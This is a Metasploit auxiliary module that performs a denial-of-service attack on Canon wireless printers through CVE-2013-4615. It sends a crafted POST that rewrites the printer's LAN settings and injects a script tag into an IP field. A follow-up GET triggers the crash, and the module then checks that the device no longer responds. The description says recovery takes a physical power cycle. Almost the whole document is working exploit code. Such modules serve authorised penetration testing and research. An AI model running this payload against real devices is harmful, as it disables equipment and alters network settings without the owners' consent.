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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Canon Wireless Printer Denial Of Service',
'Description' => %q{
The HTTP management interface on several models of Canon Wireless printers
allows for a Denial of Service (DoS) condition via a crafted HTTP request. Note:
if this module is successful, the device can only be recovered with a physical
power cycle.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Matt "hostess" Andreko <mandreko[at]accuvant.com>'
],
'References' => [
[ 'CVE', '2013-4615' ],
[ 'URL', 'http://www.mattandreko.com/2013/06/canon-y-u-no-security.html']
],
'DisclosureDate' => 'Jun 18 2013'))
end
def is_alive?
res = send_request_raw({
'method' => 'GET',
'uri' => '/',
},10)
return !res.nil?
end
def run
begin
# The first request will set the new IP
res = send_request_cgi({
'method' => 'POST',
'uri' => '/English/pages_MacUS/cgi_lan.cgi',
'data' => 'OK.x=61' +
'&OK.y=12' +
'&LAN_OPT1=2' +
'&LAN_TXT1=Wireless' +
'&LAN_OPT3=1' +
'&LAN_TXT21=192' +
'&LAN_TXT22=168' +
'&LAN_TXT23=1' +
'&LAN_TXT24=114"><script>alert(\'xss\');</script>' +
'&LAN_TXT31=255' +
'&LAN_TXT32=255' +
'&LAN_TXT33=255' +
'&LAN_TXT34=0' +
'&LAN_TXT41=192' +
'&LAN_TXT42=168' +
'&LAN_TXT43=1' +
'&LAN_TXT44=1' +
'&LAN_OPT2=4' +
'&LAN_OPT4=1' +
'&LAN_HID1=1'
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
print_error("Couldn't connect to #{rhost}:#{rport}")
return
end
# The second request will load the network options page, which seems to trigger the DoS
send_request_cgi({
'method' => 'GET',
'uri' => '/English/pages_MacUS/lan_set_content.html'
},5) #default timeout, we don't care about the response
# Check to see if it worked or not
if is_alive?
print_error("#{rhost}:#{rport} - Server is still alive")
else
print_good("#{rhost}:#{rport} - Connection Refused: Success!")
end
end
end